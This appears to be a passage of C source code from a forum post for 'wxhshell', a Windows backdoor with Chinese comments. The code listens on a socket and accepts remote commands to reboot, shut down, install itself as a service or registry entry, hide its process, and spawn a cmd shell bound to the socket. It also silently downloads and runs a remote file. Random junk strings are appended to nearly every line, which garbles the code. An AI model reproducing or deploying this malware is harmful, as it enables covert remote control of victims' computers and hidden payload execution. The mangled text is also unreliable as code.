Y tGH>0}h  
    switch(cmd[0]) { cXJgdBwo  
  y<F$@  
  // 帮助 ^ +{ ~ ^y7  
  case '?': { MC#bo{Bq3-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w & RpQcV  
    break; Z-4A`@p  
  } NtTLvO6  
  // 安装 ! # tRl  
  case 'i': { j<deTK;.  
    if(Install()) qw87B!D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !^axO  
    else 8Z3+S)6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZJ=C[s!wu  
    break; V2/+SvB2  
    } rvE!Q=y~  
  // 卸载 hQGZrZK#  
  case 'r': { e^'?:j  
    if(Uninstall()) ^ioTd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bf;IJ|v^  
    else >4EcV1y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YSrFHVq  
    break; p'w[5'  
    } cjN4U [  
  // 显示 wxhshell 所在路径 Wq{'ZN  
  case 'p': { #gN{8Yk>  
    char svExeFile[MAX_PATH]; X<9DE!/)  
    strcpy(svExeFile,"\n\r"); %\b5)p  
      strcat(svExeFile,ExeFile); h y[_  
        send(wsh,svExeFile,strlen(svExeFile),0); iBUf1v  
    break; j|aT`UH03  
    } oub4/0tN,~  
  // 重启 LnJ7i"Q  
  case 'b': { bfpW ^y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %!.rP  
    if(Boot(REBOOT)) 5Rec}H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p>}N9v;Bo  
    else { ;,4J:zvZdQ  
    closesocket(wsh); gdG: &{|x  
    ExitThread(0); h,p&/oU4U  
    } .`h+fqa  
    break; #&8 Opo(  
    } i'5bPW  
  // 关机 wUV%NZB  
  case 'd': { b5)>h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }E1Eq  
    if(Boot(SHUTDOWN)) \U-5&,fP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1b!l+ 8!  
    else { blPC"3}3Vd  
    closesocket(wsh); #&5\1Qu  
    ExitThread(0); O0{v`|w9+  
    } g1{wxBFE  
    break; RI*%\~6t?  
    } ,pG63&?j  
  // 获取shell L%8"d6  
  case 's': { 0,3 ':Df  
    CmdShell(wsh); <A&R%5Vs  
    closesocket(wsh); Qp?+_<{  
    ExitThread(0); X'F$K!o*,:  
    break; 'Hia6 <m3  
  } Z)&HqqT3p  
  // 退出 5(|ud)v  
  case 'x': { j,-7J*A~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .R"L$V$RU.  
    CloseIt(wsh); hWu)0t  
    break; ;Dgp !*v=  
    } CyU>S}t  
  // 离开  "O 'I  
  case 'q': { x}[` -  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g!8lW   
    closesocket(wsh); 0cbF.Um8  
    WSACleanup(); od fu7P_  
    exit(1); e_;6UZ+  
    break; =+L>^w#6=  
        } ?!66yn  
  } cA\W|A)  
  } s#fmGe"8  
K\ ]r  
  // 提示信息 TK>}$.c%+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `7A@\Ha3  
} /km3L7L%R  
  } Jp#cFUa t  
h:NXO'  
  return; ATHz~a  
} 3Cl9,Z"&6$  
B=r/(e  
// shell模块句柄 9 JtG&^*  
int CmdShell(SOCKET sock) (jG$M=q-  
{  B" z5j  
STARTUPINFO si; ZB%~>  
ZeroMemory(&si,sizeof(si)); UXJl;M b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *ZGN!0/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9R[','x  
PROCESS_INFORMATION ProcessInfo; 1aG}-:$t'  
char cmdline[]="cmd"; aB)DX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v],DBw9  
  return 0; nE;gM1I  
} 1 %`:8  
0Kk*~gR?  
// 自身启动模式 {[?|RC;\Y  
int StartFromService(void) xn8B|axB  
{ :bDA<B6bb  
typedef struct r|@?v,  
{ >6 #\1/RP  
  DWORD ExitStatus; `.g8JC\_m  
  DWORD PebBaseAddress; B_2>Yt"  
  DWORD AffinityMask; 2A|6o*s"  
  DWORD BasePriority; y9hZ2iT  
  ULONG UniqueProcessId; 9Q/!%y%5  
  ULONG InheritedFromUniqueProcessId; f4_G[?9,  
}   PROCESS_BASIC_INFORMATION; !.$P`wKr  
Q8oo5vqQ#C  
PROCNTQSIP NtQueryInformationProcess; Kj 8 W  
l)s+"C#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5I,X#}K[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wp3l>:  
;hJ*u  
  HANDLE             hProcess; Q{hOn]"  
  PROCESS_BASIC_INFORMATION pbi; MlE~ gCD  
;%alZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j//wh1  
  if(NULL == hInst ) return 0; `&zobbwq  
`kSCH; mwP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 63Yu05'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !\O,dq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U&$]?3?  
|7x^@i9w  
  if (!NtQueryInformationProcess) return 0; }{oBKm9_p  
RgA4@J#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2(/ /slP  
  if(!hProcess) return 0; N-YZ0/c  
{WOfT6y+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _ D}b  
>C&<dO#i  
  CloseHandle(hProcess); F)ld@Ydk=  
\<x_96jt!\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H)aC'M^  
if(hProcess==NULL) return 0; , %O3^7i  
< DZ76  
HMODULE hMod; !BuJC$  
char procName[255]; Bl\kU8O-  
unsigned long cbNeeded;  .OS?^\  
:vyf-K 74M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bk9~63tN+>  
7d8qs%nA  
  CloseHandle(hProcess); n12c075  
>1pH 91c'  
if(strstr(procName,"services")) return 1; // 以服务启动 D K_v{R  
|P0L,R  
  return 0; // 注册表启动 g] C3 lf-  
} :42;c:85  
GiO#1gA  
// 主模块 *Q120R  
int StartWxhshell(LPSTR lpCmdLine) tF g'RV{  
{ L8xprHgL  
  SOCKET wsl; -JhjTA  
BOOL val=TRUE; L{%a4 Ip  
  int port=0; ~w9 =Fd6  
  struct sockaddr_in door; jTUf4&b-  
8Pr7aT:,  
  if(wscfg.ws_autoins) Install(); IetGg{h.  
bok 74U]  
port=atoi(lpCmdLine); 15T[J%7f  
EQOP?>mWx!  
if(port<=0) port=wscfg.ws_port; ,3- -ERf  
>AX~c jo  
  WSADATA data; bKJ7vXC05  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dzjt|U0ru9  
4'hcHdL9   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c ^bk:=uj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IgR"eu U  
  door.sin_family = AF_INET; DcR}pQ(e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l(w vQO  
  door.sin_port = htons(port); 3?Eoj95w!  
tvH\iS#V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,\9mAt1O  
closesocket(wsl); ZIL| .<8I  
return 1; * :tjxC  
} ) !}-\5F  
]F* a PV  
  if(listen(wsl,2) == INVALID_SOCKET) { b'oGt,  
closesocket(wsl); ;!JX-Jq  
return 1; -S%q!%}u  
} T'b/]&0Tio  
  Wxhshell(wsl); 71/m.w  
  WSACleanup(); kAB+28A  
.F$|j1y  
return 0; /sT ^lf=  
,Lun-aMd  
} 9kX=99kf[  
UUMdZ+7  
// 以NT服务方式启动 g?[& 0r1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %X"m/4c8}  
{ bA<AG*  
DWORD   status = 0; \9(- /rE  
  DWORD   specificError = 0xfffffff; d=Df.H+3  
24jtJC,7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; + fd@K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I' ! r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]C ~1]7vb  
  serviceStatus.dwWin32ExitCode     = 0; Q1nDl  
  serviceStatus.dwServiceSpecificExitCode = 0; oO#xx)b  
  serviceStatus.dwCheckPoint       = 0; P wB g  
  serviceStatus.dwWaitHint       = 0; G=Hf&l  
y5/'!L)g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '{0[&i*  
  if (hServiceStatusHandle==0) return; hY=w|b=Y  
IObx^N_K  
status = GetLastError(); ran^te^Ks(  
  if (status!=NO_ERROR) mGe|8In  
{ q1f=&kGX~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2sqm7th  
    serviceStatus.dwCheckPoint       = 0; 1 @%B?  
    serviceStatus.dwWaitHint       = 0; ^.D}k  
    serviceStatus.dwWin32ExitCode     = status; ?jri!]ux#  
    serviceStatus.dwServiceSpecificExitCode = specificError; \6lh `U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dCZ\ S91q  
    return; }U%^3r-  
  } fimb]C I|x  
OQ(D5GR:4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SLtSqG7~  
  serviceStatus.dwCheckPoint       = 0; s !#HZK  
  serviceStatus.dwWaitHint       = 0; pd4cg?K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I(]BMMj  
} <Zp^lDxa  
$T?*0"Mj[  
// 处理NT服务事件,比如:启动、停止 #e.jY_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S~0JoCeo  
{ >*dQqJI  
switch(fdwControl) %M{k.FE(  
{ xMD rE?  
case SERVICE_CONTROL_STOP: g .x=pt  
  serviceStatus.dwWin32ExitCode = 0; \Z)#lF|^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P</s)"@  
  serviceStatus.dwCheckPoint   = 0; FXx.$W  
  serviceStatus.dwWaitHint     = 0; u12zRdn  
  { t`"^7YFS>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ww?Emrw  
  } OlMBMUR:  
  return; -IBO5;2_  
case SERVICE_CONTROL_PAUSE: 2Co@+I[,4&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0Injyc*bMF  
  break; % f2<U;ff  
case SERVICE_CONTROL_CONTINUE: T8n-u b<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :GQ UM6  
  break; zKLn!b#>  
case SERVICE_CONTROL_INTERROGATE: *FV0Vy  
  break; mZwi7s&u  
}; q0&Wk"X%rr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NB E pM  
} /ZHO>LNN|  
(NX)o P  
// 标准应用程序主函数 ZP"yq6!i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `f@{Vcr% i  
{ P: n#S%  
}wG,BB%N  
// 获取操作系统版本 KiQ(XNx  
OsIsNt=GetOsVer(); tG/a H%4S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LI[ ?~P2\  
TWUUvj`.  
  // 从命令行安装 |U#DUqw  
  if(strpbrk(lpCmdLine,"iI")) Install(); l '/N3&5  
;Xqn-R  
  // 下载执行文件 (vKI1^,  
if(wscfg.ws_downexe) { [4p=X=B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q69H ^E=  
  WinExec(wscfg.ws_filenam,SW_HIDE); &.zj5*J  
} 5.w iTy  
,'~ #Ch  
if(!OsIsNt) { [g#s&bF  
// 如果时win9x,隐藏进程并且设置为注册表启动 i^WIr h3a  
HideProc(); lX"bN=E?!  
StartWxhshell(lpCmdLine); Qm< gb+  
} I~)cYl:|G  
else be7L="vZw  
  if(StartFromService()) n12UBvc}%  
  // 以服务方式启动 /}=a{J  
  StartServiceCtrlDispatcher(DispatchTable); %swR:Bv  
else 402x<H  
  // 普通方式启动 BEWro|]cM  
  StartWxhshell(lpCmdLine); ~AQ>g#|%  
V5AW&kfd  
return 0; GB>aT-G7q  
}
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只看该作者 1 发表于: 2006-10-10
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